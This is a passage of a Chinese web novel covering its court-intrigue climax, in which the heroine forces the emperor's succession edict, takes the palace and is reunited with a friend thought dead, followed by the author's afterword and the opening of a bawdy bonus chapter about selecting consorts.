陆锦澜微笑道:“皇上您忘了?您身边可是有我的人。现在这里只有我,在您生命的最后时刻,咱们好好说会儿话吧。” 赵敏成一愣,“你敢弑君?” 陆锦澜笑道:“有什么不敢的?或许,这也是一种传承吧。虽然不想承认,但我最近觉得我跟你也有些相似之处。造反这样的事,说做就做了。” 赵敏成沉重地点了点头,“你果然什么都知道了。” 陆锦澜道:“没错,我都知道,你欠我太多。” “你当年为了达成和别人的交易,作为帮凶,害死了我的生父和姑母。不久前,你又作为帮凶,害死了我的朋友。现在,我也想和你谈一笔交易。” 赵敏成:“什么交易?” “你给我一道承认我血统并立我为储的圣旨,我给你一粒无色无味,可以让你安然死去的药丸,如何?” 赵敏成听完笑出了声,“这算什么交易?对朕来说有什么好处?” 陆锦澜道:“当然有好处。其实你给不给我圣旨,我都要血染宫城,只是名义不同罢了。对于我来说区别不大,对于你来说,区别却很大。” “这局是我的必胜之局,你不给我身份,我和你没有关系,你就是前朝昏君。你给我身份,我作为你的女儿,自然要给你一份死后的哀荣。” “我知道你看中颜面,项如蓁的事,我会全扣在赵祉钰的头上,你只是被蒙蔽而已。在史书上,你还算一个圣明君主,只是老了有些糊涂。” “我是赵家女儿,这天下,还是赵家的天下。你会安葬在皇陵里,受人敬仰祭拜。” “如若不然,你当年做的丑事和最近的丑事都会公之于众,我没有任何替你隐瞒的理由。” 赵敏成苦笑,“你果真了解朕。如果当年你们父子平安,你在朕的身边长大,一定是朕最心爱最出色的女儿。” 陆锦澜叹了口气,“可惜没有如果,皇上多想无益,写圣旨吧。” 陆锦澜将笔墨和一粒药丸放在床边,赵敏成沉默半晌,“好,朕可以承认你的身份,也可以为你写下立储的圣旨。但朕得告诉你,你来晚了。在你来之前,大皇女已经拿走了一道立储的圣旨。” 陆锦澜点了点头,“那你更该写了,她的为人你比我更清楚,立储之后,你就没有存在的意义了。你今晚不死在我的手里,明晚说不定会死在她的手里。” “一人一道立储的圣旨,很公平。你不要偏心,尽管写,剩下的事交给我们自己来解决。” 赵敏成咬了咬牙,将药丸含在嘴里,在皇绢提笔书写。 她的手有些颤抖,写完最后一个字,终于支撑不住,身子一歪倒在床榻上。 她气喘吁吁道:“朕要死了,临死前,你能你叫我一声娘吗?” 陆锦澜淡漠地垂下眼眸,“太迟了,如果你及时悔悟,该早早派人去寻我,该早早的认下我。可你什么都没做,那么多年不闻不问,大约是当我死了。” “后来你见到了我,也没有把我当做你的女儿。真正的母女之间,怎会有那么多的怀疑试探?” “当年那个婴儿亡命天涯时,还不会说话,她是不可能开口唤你的。如今活着的,只能是陆今朝的女儿。” 陆锦澜叹了口气,在床边跪下,“你死后,我会尊你为太上皇,你殡天吧。” 床上的人终于没了气息,陆锦澜伸手合上她的眼,转身离去。 * 南城门的守卫正在打瞌睡,子时一到,忽听得砰砰砰三声巨响,三发绿色信号弹升起,在高空中炸成三朵莲花。 守卫们正在惊疑,眼角余光一亮,不远处数万只火把亮起,紧接着传来铿然有力的马蹄声,数万人马霎时间兵临城下。 守卫头目惊慌道:“你们是哪个部队的?要干什么?” 岳蝉高声道:“赤诚军,前来吊丧,立刻开城门。” “啊?赤诚军……”那人腿一软,两边的人连忙扶住。 一个手下忙问:“老大,怎么办?大皇女殿下刚刚还派人叮嘱咱们,没有她的特许,一兵一卒都不许进入城中。突然来了这么多赤诚军,咱们要不要上报啊?” 那头目一拍她的脑袋,“上报你个头啊!赤诚军什么战力?这要是打起来,咱们首当其冲,你想死啊?再说了,大皇女说的是不许放入一兵一卒,赤诚军是吊丧的,不碍事吧?” 另一个人忙道:“可万一她们在城里打起来了,咱们怎么办?” 头目道:“她们打她们的,咱们守咱们的。不管了,开城门,谁打赢了算她厉害。咱们活着,咱们也厉害。” 晏无辛刚拿到抄送的圣旨,来迟了一步,赶到城门时,赤诚军已经浩浩荡荡地进来了。 晏无辛一愣,“我这旨意还没宣呢,她们怎么放人了?” 杨凝:“不知道,感觉她们特别好骗。” 晏无辛嘶了一声,“好吧,比我们想得还顺。那按计划行事,吴将军带上你的人,跟我直冲守备处!” 晏无辛在守备处终于成功宣读了圣旨,“奉天承运皇帝诏曰:朕承天命,御极四海,始终以宗庙社稷为重。皇储之位,乃为国本,应由贤明者居之。” “靖安侯陆锦澜实乃朕之骨血,文韬武略,睿智聪颖。虽于襁褓之中流离宫外,然天潢贵胄之资不减。德才兼备,足堪大用。今特准其认祖归宗,复其皇长女之位,复其本名赵氏祉澜,立为皇储。” “朕命其入主东宫,承继社稷。敕令礼部择吉日,敬告天地宗庙,行册封大典。布告中外,咸使闻知。钦此!” 晏无辛念完合上圣旨,“诸位,可听清楚了?” 有人不服,立刻起身道:“圣旨是假的!皇上刚刚立了原来的大皇女为皇储,怎么可能又立一个?” 晏无辛道:“圣旨是真的,只是皇上圣意有变,不信的可以去内廷司察看皇上亲笔书写的原件。” 另一个也起身不服道:“皇室血统,不可混淆!我们只认原来的大皇女。” 晏无辛眉头一皱,火速拔刀,唰唰两下解决了二人。 电光火石之间,许多人都未反应过来,只是张着嘴,惊诧地看着这一幕。 晏无辛将刀入鞘,“我再说一遍,圣旨上真的。谁敢抗旨,立斩。还有谁有异议吗?” 众人望着乌压压的赤诚军,纷纷低下了头。 * 赵祉钰将立储的圣旨放在枕下,正安然入睡,忽听得外面杀声震天。 她的心腹亲随闯进来,“殿下,陆锦澜反了。大家顶不住了,您快逃吧!” 赵祉钰惊道:“怎么可能?她能有多少人马?两万禁军都顶不住?” 她提着剑就要 冲出去,走到门口,却被陆锦澜的剑刃抵了回来。 陆锦澜警告赵祉钰,“你不要挣扎了,你不是我的对手。” 她使了个眼色,岳蝉立刻带人将赵祉钰身边的亲随拿下,押了出去,顺便下了赵祉钰的兵器。 赵祉钰双眼一闭,心知大势已去,颓然地跌坐到椅子上。 身后的亲卫搬了张椅子过来,陆锦澜也坐下来,与赵祉钰面面相对。 陆锦澜道:“上次我来找你,你不肯见我,如今咱们还是见了。其实有一个问题我早该问你,只不过之前我以为那是巧合,所以从未问过。” 赵祉钰紧绷着面色,“你想问什么?” “我们第一次见面时,你在想什么?” 赵祉钰长叹一声,“那是我第一天到学院报到,看见你在和学长据理力争,而后大打出手。那时你是新生中的名人,大家都认识你,你那么出风头,身边还有两个朋友和你一起共同进退。” “我那时候在想,你可真让人羡慕,不过没关系,我也不差。我是大皇女,以后皇位都是我的,你们三个都是我的臣子。在你没有威胁到我的时候,我一直对你不错,不是吗?” 陆锦澜笑着摇头,“你对我不错,是因为我对你有用,还想让我因此感激你吗?” “我问你的不是学院初相识,而是真正的第一次见面。” “你忘了吗?在开学之前,我们在逢春楼已经见过了。” 赵祉钰脸色一变,陆锦澜从怀里取出楼家岳母那封信。 “楼鉴明,当初因大不敬获罪,流放长州。世人只知道她获罪,却不知她因何获罪。如果不是这封信,我想我们永远不会知道,你曾在街上打死过两个平民。” “皇上一向护短,斥责你几句便想了事。楼鉴明碰巧得知此事,上本参奏,便被皇上以大不敬治罪,累及全家。” “她写信告诉我内情,是想提醒我,让我提防。因为她知道,你这人狠戾,惯爱挟私报复。没想到,如蓁意外看到了此信。” 赵祉钰冷笑一声,“我运气真差,第一次出宫就遇到了两个小偷。我当时一时气愤,就将二人打死,这算什么大事?” “可项如蓁这个人就是死心眼儿,她来质问我,还说什么我这般性情做不得仁君。正在立储的节骨眼儿,她竟然跟我说这样的话?” “我承认我怕她,因为她这个人太固执了,一旦揪住一件事,就会死抓着不放。如果我不除掉她,她第二天就要参我了。” “我稳住她,立刻去见母皇。其实母皇也忍项如蓁很久了,她身为相尊,满嘴什么百姓为重,动不动就和母皇争执。母皇不喜欢她,我们一拍即合,就将她杀了。” 赵祉钰抿了抿唇,“她说我性情残暴,我有吗?她竟然跟母皇说我不宜承继大统,让母皇早早另做打算。哼,我看她分明就是想找借口拥立你上位,好保她一生富贵荣华。” 陆锦澜摇了摇头,“就算她想拥立我上位,说你性情残暴也是事实而非借口。她想拥立我上位,绝不是为了荣华富贵。你与我们相识这么多年,原来互不了解,真是白白认识一场。” 赵祉钰不屑,“我怎么残暴了?那是小偷,我打死两个小偷算什么罪过?” 陆锦澜冷笑一声,“我姑且相信那两个人真是小偷,可你活生生打死两条人命,总不能是一时失手吧?” 赵祉钰道:“我只是手重了些。” 陆锦澜摇头,“不要狡辩了,你忘了我刚才问你的问题,那晚你去逢春楼干什么了?” 赵祉钰咬了咬牙,“我去喝花酒。” “胡说!你分明就是去报复的。” 陆锦澜沉声道:“楼鉴明因你获罪,全家女眷被流放,男眷被卖入青楼,可你仍然不满意。你还要到逢春楼去,那晚如果不是我意外出现,你就要买下楼雨眠。我猜,你也会手重些,再打死一条人命,对吧?” 赵祉钰紧咬着牙关,陆锦澜怒视着她,“无话可说了?不狡辩了?如蓁一点也没冤枉你,她只是识破了你,你便不顾多年情分,断然决绝地害死了她。说你性情残暴,真是一点没错。” 陆锦澜不耐烦地放下一瓶毒药,“我再也不想和你多说一句,你自尽吧。” * 一夜喧嚣,到黎明终于平静下来。宫城内外皆定,神武门再次大开,各处将领纷纷进宫汇合复命。 孔鸾到了宫内,见孙乐闻、楚易舒等人都站在一处宫殿外面,便问:“你们在这儿干什么?” 孙乐闻为难道:“陆侯让赵祉钰自尽,可她只是坐在那里,到现在还不肯死。” 孔鸾道:“她不肯死不行啊,你们帮她死啊!总不能等陆侯登基后亲自动手,那不是要背负杀害手足的罪名吗?” 楚易舒道:“我们都是同窗,还是同寝,我们下不去手。刚刚派人去叫岳将军了,让她来处理吧。” 孔鸾莽道:“等她干什么?我来。” 她说着提着刀踢门进去,“你就是赵祉钰?” 赵祉钰一愣,上次只匆匆见过一面,她已经认不出孔鸾了,疑惑道:“你谁啊?” 孔鸾懒得回答,一刀封喉,血溅三尺。她转身出去,对外面的人道:“她自尽了。” * 曾颖办事很是得当,天微微亮,已在各处张贴公告,告诉所有臣民:皇上殡天,死前遗命,认回皇长女陆锦澜,并将其立为皇储。皇储殿下将于今日临朝,择吉日举行登基大典。 另附几份详细的公文,比如皇上亲笔书写的诏书,比如为项如蓁平反的卷宗。再比如,陆锦澜这位新帝有多么高尚的德行、多么突出的才能、以及出生时天降祥云等等。 可以说老百姓一觉醒来,就有一本厚厚的曲折离奇的传奇故事可看。 皇宫内,许闰年拿着连夜赶制的龙袍,伺候陆锦澜更衣上朝。 陆锦澜握住他的手,“这几年委屈你了,等我封赏后宫时,一定给你个位份。” 许闰年摇了摇头,“我不在乎什么位份,只要你心里有我,哪怕一辈子都只能做你身边的奴才,我也心满意足。” 陆锦澜捏了捏他的脸,“你知足,我舍不得。等我忙完,好好给你取个封号。旁人都不在,今晚你来陪我。” 许闰年红了脸,连忙跪倒,“谢主隆恩。” 陆锦澜一笑,“朕去上朝了。” * 陆锦澜端坐龙椅,文武百官一同山呼:“吾皇万岁万岁万万岁!” 陆锦澜深吸一口气,“平身。” “谢皇上。” 陆锦澜挥了挥手,曾颖立刻拿着拟好的圣旨上前宣读。 那是论功行赏的旨意,晏无辛首功,封为太尉,位列三尊。金云凝还做她的御史令,老人家历经风雨,一转眼成了三朝老臣。 其余人等,均有封赏。 圣旨很长,曾颖读了很久。久到陆锦澜看着空出的丞相之位,默默出神。她不由想:如果如蓁还在,该有多好。 刚刚登基的那段时间是最为忙碌的,诸事繁杂。有朝政要理,有太上皇的丧事要办,还得派人去把刚刚折腾到曲国的家眷都接回来。 陆锦澜夙兴夜寐,不敢懈怠,连晏无辛都忙得团团转。 两人在南书房点灯处理政务,疲惫时,晏无辛嘟囔了一句:“要是如蓁在就好了。” 两人对视一眼,眼里都蒙上了一层水雾。 是啊,如果如蓁在,她们就不用这么辛苦了。可将国家治理好是如蓁的心愿,二人想到此,只得继续埋头,又熬没了一支蜡烛。 陆锦澜这皇上当了一个月,连陆今朝都看不下去了,这辈子从来没见她这么刻苦过。 “澜儿,你还是给自己任命一个丞相吧。总是亲力亲为,每天这么多折子要看,多累啊。” 陆锦澜道:“丞相之位,我还是想给如蓁留着。每次看到朝上空着一个位置,总觉得她就在那里,叮嘱我时时勤勉。” “娘你不用担心,我会照顾好自己的,无辛一会来找我。今儿天好,我们出宫走走,散散心。” 陆今朝这才放心离去。 陆锦澜换了便服,刚坐着马车和晏无辛出了宫门,便见到一个男人带着几个孩子和守门的侍卫拉拉扯扯。 晏无辛下去问了问,“怎么回事?” 侍卫道:“启禀太尉大人,这个男人非说要见皇上,问他什么事他又说不明白。” 晏无辛连忙跑过去跟陆锦澜嘀咕:“这是不是你在外面惹的风流债啊?人家带着孩子找上门来了。” 陆锦澜算了算,“我是有一个孩子流落在外,这几年忙,也没能寻回来,可孩子她爹不是这个人啊。你先去问问怎么回事,别什么没娘的孩子都往我脑袋上扣。” 晏无辛又过去问了问,拿了个物件回来,“那个男人说你看了这个,就什么都明白了。” 陆锦澜接过来一看是个钱袋,看着眼熟,好像她也有过一个一样的。 不过她的早就给人了,给谁来着?天牢一个狱卒。五年前她送晏维津上路,出事时碰巧遇到一个家里也有丧事的狱卒…… 陆锦 澜猛然想到什么,心开始砰砰砰乱跳起来。 她打开钱袋,见里面有一枚的玉佩。玉佩并不贵重,却让她万分激动,因为那是她送给项如蓁的。 陆锦澜立刻从车上跳了下去,四周守卫见了她,慌忙跪拜,陆锦澜却顾不上,她抓住那个男人忙问:“这玉佩是谁给你的?” 那男人怯怯道:“回皇上,这是我家妻主给我的。她说让我今天把这个玉佩交给靖安侯,可是您当了皇上,我就带着孩子们找到皇宫来了。” 陆锦澜忙道:“你家妻主叫蒋天娇?” “正是,不过她已经离开家一个多月了……大约就是相尊大人出事那晚,我家妻主那日不当值,狱里的同僚却来家里找她,没说几句话就走了。我家就在天牢附近,不一会儿她又回来,把这个玉佩放到钱袋里,让我一个月后交给您。” “她有没有说她要做什么?” 男人摇了摇头,“她只说有件事她非她去做不可,让我当她死了,对谁也不要说,不要找她,更不许报官。” 陆锦澜点了点头,她全都明白了。 没错,没有人希望项如蓁死,大家都知道她是冤枉的,平民百姓更是如此。 那场大火不是意外,而是牢里的人有意为之。蒋天娇为了报答她当年的一点眷顾,和其她人一起,将项如蓁换了出来。而她自己,则成为了第十一具尸体。 当晚的情况那么紧急,身居要职的高官都束手无策,却在谁也想不到的环节,让一群无名的狱卒改变了事情的走向。 她们是平日里不起眼的小人物,却能在千钧一发之际,当机立断,舍生取义。十一个人,都是英雌,必当重重抚恤。 陆锦澜长叹一声,“她有没有提到什么地点?让我去哪儿找一个人之类的?” 那男人连连点头,“有,她说你要问那人在哪儿,就告诉你去南州陈留县,有你要找的人。” * 几日后,陆锦澜和晏无辛亲自带人赶到了陈留。 一个偏僻小县,人口却也不少。晏无辛望着熙熙攘攘的人群,“这个县有七万人,咱上哪儿找去?” 陆锦澜叹道:“按照刑部薛大人查到的消息,那晚出事后,负责给牢里送饭的一个老妇也跟着一起消失了。那老妇就是陈留人,我猜她把如蓁带到老家来了。” 陆锦澜说着吩咐黎劲草去联络地方官府,查询那老妇的住处。她则拉着晏无辛,先四处找找。 两人在集市上东张西望,一会儿被人踩一脚,一会儿被人挤一下。 晏无辛咬牙切齿火冒三丈,正赶上又有一人肩上扛着一大捆柴,刮到她衣服上,顿时划开一道口子。 气得晏无辛大怒,“你怎么回事儿?你没长眼啊?我告诉你,我这衣服……” 晏无辛说了一半,看见那人的脸,顿时愣在那里。 陆锦澜听见她和人吵起来,转身回来,“算了,一件衣服而已,找人要紧。” 晏无辛一把抓住她的手腕,示意看那个扛柴的人。 那人看起来头受过伤,缠着厚厚的纱布,面色也有几分憔悴。但她们还是一眼就认出来,那人就是项如蓁。 三人面面相觑,陆锦澜紧张得吞咽了一下,方才开口:“你……你还认识我们吗?” 项如蓁一笑,“我只是伤了头,我又没瞎。” 陆锦澜松了口气,连忙把她身上的柴丢到一边,用力地抱住她。 三人笑得泪流满面,晏无辛愤愤地给了她一拳,“你怎么回事?活着也不吭一声,害我们哭了一个月了。” 项如蓁一言难尽道:“别提了,当初我是不肯从牢里走的。她们便打晕了我,把我交给华大娘。华大娘怕我要回去,路上一直打晕我,中途我们还掉到水里,给我头都磕破了,昏迷了好些日子。” “醒来得知你们造了反,锦澜当了皇上,我真不知道还现在活过来合不合适。天下人会不会以为,我们做局是为了造反呢?” 陆锦澜:“我造什么反啊?我那是……继位。诏书是真的,你怎么也不信?再说了,我现在是皇上,你活过来就活过来,别人爱怎么说怎么说,我才不在乎。” 项如蓁道:“你现在是皇上,更应该在乎天下人的评判,做一个让百姓爱戴的好皇帝。” 陆锦澜眨了眨眼,“我封你为帝师吧?刚见面就给我上课。” 晏无辛笑道:“丞相之位还空着呢,不用说了,你赶紧回去。出来这些天,奏折一定堆成山了,都是你的活儿。这一个月我俩又要哭你又要干活,可把我们累坏了。你还活着,就别想偷懒了。” 两人一人抓着项如蓁一条手臂,“走,把你押解回京,你别想跑。” 项如蓁忙道:“让我先回去和华大娘告别,这事儿我们一定要好好跟天下人解释清楚。” 陆锦澜:“好好好,都听你的,但你也得听我一件事。回去之后,有件事我要赶紧操办。” 项如蓁忙问:“是不是改革?我养病这些天,又有了许多想法,正好和你说说。” 陆锦澜忙道:“改革是你的事儿,回去你看着办吧。我是说我自己事儿,我这儿后宫空虚,人太少了不热闹了,得赶紧选侍。” 晏无辛立马道:“臣附议!应该广召天下美男,我陪你一起选,你看不上的兴许我喜欢呢!” 项如蓁急道:“你们都去选侍,那政务谁处理啊?” 二人不约而同的指向她,“你啊!” 陆锦澜大袖一挥,“朕都打了这么多年仗了,还不能享受享受吗?” 晏无辛:“就是就是,相尊大人你懂不懂为臣之道啊?” 项如蓁咬了咬牙,“享受享受?为臣之道?我打你们个为臣之道!” 二人转身就跑,三道身影在乡间小路互相追逐,依稀听见有人在喊:“造反啦!护驾!” 紧接着,便是一阵笑声—— 作者有话说:五十万字,五千收,我滴个老天奶,热烈庆祝!正文完结啦!好激动,一时竟然不知道该说些。 首先,感谢喜爱这本书的每一个读者,感谢每一人的鼓励和支持。在我几次情绪不好怀疑自己的时候,都是留言让我重拾信心。 其次,我要解释一下后期几章节奏偏快的原因。全部是按照大纲写的,这本书我写到正文结束依然意犹未尽,并没有匆忙完结。为什么看起来比较快呢?可能是因为情节激烈处,我都写得十分辛苦。我认真的说,文中每一个人哭的时候,我都在哭。很多时候文里的人没哭,我都在哭,我不想,但是我根本控制不住。比如晏维津死地时候,我不知道那里是一个泪点,但写着写着却替她哭了出来。我是一个泪点极地,极容易共情的人,所以写到后期经常哭到头痛,严重影响身体状态。我就希望这段波折的剧情赶快过去,回到轻松愉快的生活。这一周,更了五万字,比平常的两倍还多。是有想结束纷纷扰扰的急切,但每一处都在认真写,没有糊弄大家。另外,番外会紧接正文剧情,开始选侍,好好享受快乐的帝王生活。还有微服私访,去一个地儿捡一个男人那种。另外把流落在外的孩子和孩子爹都找回来,总而言之很精彩,想想都我都会笑。大家还有什么想看的,请留言,番外预计会更一个月左右,随榜更新。 最后,我要感谢我最亲爱的朋友,她也是这本书的读者。事实上,不管我写什么,她总是愿意做我的读者。我想,正因为我拥有这世界上最好的友谊,我才能写出情比金坚的友情。我的朋友,在我的人生中是最重要的存在。她永远相信我、鼓励我,不论贫穷或者落魄,不论遭逢什么样的境遇,我们从来没有失散过。我们也一起饿过肚子,一起经历人生中的艰难时刻,一路相互扶持,始终站在一起,谢谢你。 最后的最后,番外见,再次感谢大家支持正版,鞠躬~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第121章【完结】 第121章 昭武元年六月,新皇广选秀男。 嬅国上下一十七州所有的世家公子,闻风而至。官道上挤满了 进京参选的各色马车,大家轰轰烈烈热热闹闹地赶往神京。 这是皇上登基以后,后宫迎来的第一件大事。宫里上下人等不敢轻慢,紧锣密鼓小心仔细地筹备着。 新皇新气象,宫里人员变动很大。内务府裁撤了一批年长的宫男,又新招了一批年轻的入宫伺候。 作为宫里最有资历的老宫男,吕恭得到了教习新人差事。 此刻,六十个新人小宫男垂首而立,聆听前辈的训示教导。 吕恭悠然地靠在椅子上,拨弄着茶盏,正骄傲地分享着他的心得体会。 “民间俗话说,做人,一命二运三风水。进宫做奴才的人,我不用看你的八字也知道,家里都是穷苦出身。但我告诉你,甭害怕。这世上穷人遍地,有几个天生富贵命的?” “叔叔我小时候家里也穷,碰上灾年,煮树皮熬汤才对付活下来的。可我这人有一样好,我虽没有天生富贵命,但我天生有奴才命,就是会伺候人,天生会看人眼色。” “皇上一抬眼皮,我就知道她想要什么。她咳嗽两声,我就立刻把茶水换成梨汤。这些你们得用心记着,用心学着,学会了怎么当奴才,这奴才才能当得风光。” “我这人大器晚成,十五岁进宫,从最末等的奴才做起,先刷了两年马桶。我把这宫里最脏最累的差事都做了一遍,混了二十年,才混到御前,做了掌事宫男。先皇在时,我倒也算不得风光体面。可我这人眼睛亮,那么多人在御书房出来进去的,我就瞧着有一位她必能成事。” “她找我办什么,我就仔仔细细的给她办。她问我什么,我就知无不言的回答。我就赌她以后能当我的主子,结果,你们猜怎么着?” 小宫男们怯怯地抬起头,轻声问:“怎么着了?” 吕恭咧嘴笑道:“我赌赢了,她当了皇上。” 人群中发出一声惊叹,吕恭正炫耀着,门外忽然进来一人,身后跟着几个女监。 吕恭连忙仓惶地放下茶盏,立刻从椅子上弹起来,弯腰俯首,“参见大总管!” 来人一笑,“快请起,不必多礼,你是宫里的老人儿,我初来乍到,很多事还要请教你。” 吕恭忙笑道:“大总管客气了,有什么事您尽管吩咐。” 大总管洗墨道:“秀男明日入宫,后儿个初审。到脱衣检验的时候,我们女人不方便进去,皇上让你带人负责这一环节,检验的标准皇上还在写,你晚上过去拿。” 洗墨交托完事便走了,吕恭躬着身子将人送到门口,见她带着人走远,这腰又挺直了起来。 “瞧见没有?皇上又把重任交给我了。新主子入宫,得先过我的眼。在这宫里,我不和大总管、副总管比,我也不和管事的女监比。但在这八百宫男里头,我就是皇上最信任最得重用的奴才。” “你们好好干,混个十几年,争取也混到御前去。宫里的许常伴,原来就是一个在御书房当值的宫男。也是我带出来的徒弟,现在得皇上青睐,做小主了。” 小宫男们听得眼睛发亮,“叔叔,您给我们讲讲皇上吧。” 吕恭一笑,“皇上是最天下最聪明的人,最难得的是她还讲情分。刚刚来的大总管洗墨你们都瞧见了,年轻吧?二十出头,便能在皇上身边,总揽后宫诸事。我们这些四十来岁的老家伙,见到她都得恭恭敬敬的见礼。” “因为她是从小就跟在皇上身边伺候的,她在府里是伴读,在潜邸是管家,如今到了宫里,直接当上了大总管。皇上念旧情,从前在潜邸跟着她的几位夫郎,都给了封赏。” “宋氏做了皇夫,萧氏做了皇侧夫,楼氏陆氏封了皇贵侍,这四位都是正经主子,跟了皇上多年,生育皇女有功。见到他们,都给我小心伺候着。尤其是皇侧夫,他出身高,性子最为挑剔,你们小心伺候,别让人挑出毛病。” “至于将要进宫的那些秀男,也不知道能留下几个,就算留下也是从最低等的应子、常伴、贵人做起。只能算小主,还算不上主子,应付着就是了。” “在这宫里最要紧的是伺候好皇上,皇上是天,皇上是地,谁要是让皇上不高兴,那就要天塌地陷了。皇上交代下来蒜皮那么轻的事儿,你们都得给我当千斤重来办。” “眼睛放亮些,看着点儿皇上的脸色。皇上要是高兴,你们就想办法让她更高兴。皇上要是不高兴,你们就把嘴闭眼,喘气都得小口小口地喘。否则,小心自己的脑袋。” 有个小宫男好奇地问:“那要是眼看着皇上做了错事,我们要不要提醒?” 吕恭猛地看向他,“你,先抽自己两个大嘴巴。蠢货,皇上怎么会做错事?记住,皇上对也是对,错也是对,千万别在皇上面前自作聪明。” “她说月亮是方的,你就回:‘方,方极了,奴才看着都觉得那四个角扎眼睛’。她要说太阳是冷的,你就回:‘冷,冷得奴才打摆子,再照一会儿老寒腿都要犯了’。总之,她说什么是什么。哪怕说错了,也得她自己说自己错。轮不上咱们教皇上做事,懂吗?” 皇宫上下,唯皇命是从。但敢说皇上错的人,当然有。 * 此刻南书房里,太尉晏无辛正和皇上争论得面红耳赤。 陆锦澜高声道:“五寸应该差不多了,不要犟了。” 晏无辛:“哎呀,你怎么不信我呢?五寸根本不够看的,怎么着也得六寸。” 陆锦澜翻了她一眼,“我写五寸以上,又不是只有五寸的。” 晏无辛不依,“那六寸以下的,不还是混进来了吗?” 两人正吵着,丞相项如蓁从外面进来,忙问:“你们在争什么?是工部最近生产的器具尺寸有问题吗?” 陆锦澜:“如蓁,正好你来了。我和无辛意见不一,你来看看。” 项如蓁凑过去一看,纸上写着:昭武元年秀男脱衣检验标准。 除了基本的顶级容貌身材标准外,还有很多细节要求,比如身体不可以有异味儿,身上更不能有痔疮、伤疤、纹身,痣不能超过米粒大小。 上面还写着对秀男各个身体部位的具体要求和评级标准,比如以手指抵住下巴和颈中骨,秀男呼吸时喉结能触碰到测试者手指为优,其余根据喉结外型大小,可评为良、中、差等。 下面还有乳首颜色评级标准、腹部线条评级标准,再往下……就是陆锦澜刚刚和晏无辛争论的内容了。 项如蓁扶了扶额,晏无辛道:“锦澜现在是皇上啊,皇上就该高标准严要求。皇上的后宫选拔标准就该严苛,不然人家出去一说,什么人都能入选,何以体现天家威严?” 陆锦澜噗嗤一笑,“你可拉倒吧,没听说过天家威严要脱裤子比大小的。后宫嘛,各有秋千就好。主要是脸,其次是身材,最后才是别的。要是定了六寸以下的不能入选,卡掉我想要的美男怎么办?” 眼看两人又要争论,项如蓁连忙提出了自己的见解,“我觉得,五寸四,足以。” 两人顿时一愣,陆锦澜疑惑:“五寸四?为什么是五寸四?” 项如蓁道:“你们说的不是拿起来用尺子测量的长度吗?” 二人点头,“是啊。” 但晏无辛补充道:“我们只是目测,其实没有量过。你说的数怎么这么具体,你拿尺子量过啊?” 项如蓁脸唰得一红,“没……没有,我也是目测。” 见两人还是满眼怀疑地盯着她,项如蓁连忙生硬地转移话题,“对了,我听说这次来参加甄选的秀男多达三百余人,曲国皇帝和姜国的新君各送了二十名美男来。你刚刚登基,不要拂了她们的美意。” 陆锦澜道:“咱们在姜国的探子说,姜国现在不太平。二皇女登基以来,其她几位皇女私下一直有动作,恐怕还要生变故。她讨好我,也是为了稳定局势。总之,我到时候会酌情留下一两个,意思意思。曲国那边,都是自家亲戚,无所谓的。” 提到姜国,陆锦澜心里总是惦念着身在姜国皇宫的蚩离,还有她与蚩离的女儿。 算起来,女儿快五岁了,她还没见过呢。按照姜国皇族的姓氏,女儿叫赫连央,名义上是姜国先皇和皇夫蚩离的女儿。 陆锦澜有些不甘心,她的男人她的孩子,她一直想找个理由把人接过来,可这个理由实在太难找了。 无论如何,一个寡夫带个孩子,到她这个风流皇帝身边来,都难免有偷情嫌疑。 她还不是皇帝的时候,不在乎这些。偷就偷了,怎么地吧? 现在当了皇帝,反倒不好下手了。毕竟要考虑臣民的脸面,一国之君偷人家夫郎孩子,好说不好听啊。 她正想着,外面来报,“启禀皇上,姜国送来的人已经住到驿站了。来使中有一位姓蚩的,叫蚩漠遥。她说她给您带来了一个人,请您一定要拨冗见她一面。” 陆锦澜眼睛一亮,难道来了她所思所想 之人? 陆锦澜忙道:“让她带着那人到御花园等候,我这就去见她。” 她说着将笔交给无辛,“你帮我写,我要去见一下此人。” 晏无辛忙道:“那到底写五寸还是六寸啊?” 陆锦澜边说便往外走,“如蓁不是量过了吗?就写五寸四以上。” 项如蓁急忙狡辩:“别胡说,我没量过。” 晏无辛连忙叫住她,“以上是不是也得有个度啊?万一太长了怎么办?” 陆锦澜回头道:“再长能有多长,我没见谁盘腰上。” 晏无辛瞬间哑口无言。 陆锦澜来到御花园,远远的便看到蚩漠遥带着一个身穿白衣头戴帷帽的男人站在花树下,依稀有几分故人风姿—— 作者有话说:久等啦,我的小假期已经结束,开更!为了后面剧情展开,本章铺垫了一下宫内背景,之后就不赘述了,对应宫廷剧相信大家可以看懂,下章开选!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m